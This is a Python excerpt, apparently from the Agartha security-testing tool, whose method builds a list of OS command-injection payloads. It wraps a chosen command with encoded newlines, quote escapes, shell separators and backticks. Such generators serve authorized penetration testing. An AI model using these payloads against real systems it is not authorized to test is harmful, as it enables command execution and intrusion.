INNER CODE UNIT · Python
funcCommandInj
volkandindar/agartha · Agartha.py:524
def funcCommandInj(self):
listCommandInj = []
prefixes = ["", "\\n", "\\\\n", "\\r\\n", "\\\\r\\\\n", "%0a", "%0d%0a"]
escapeChars = ["", "'", "\\'", "\\\\'", "\"", "\\\"", "\\\\\""]
separators = ["&", "&&", "|", "||", ";"]
for prefix in prefixes:
for escapeChar in escapeChars:
if (prefix[:2].count("\\")) and (escapeChar[:2].count("\\")):
if (prefix[:2].count("\\") != escapeChar[:2].count("\\")):
continue
for separator in separators:
listCommandInj.append(prefix + escapeChar + separator + self._txtTargetPath.text + separator + escapeChar + "\n")
listCommandInj.append(prefix + escapeChar + separator + self._txtTargetPath.text + escapeChar + "\n")
listCommandInj.append(prefix + escapeChar + separator + escapeChar + self._txtTargetPath.text + "\n")
listCommandInj.append(prefix + escapeChar + separator + "`" + self._txtTargetPath.text + "`" + separator + escapeChar + "\n")
listCommandInj.append(prefix + escapeChar + separator + "`" + self._txtTargetPath.text + "`" + escapeChar + "\n")
listCommandInj.append(prefix + separator + "`" + self._txtTargetPath.text + "`" + separator + "\n")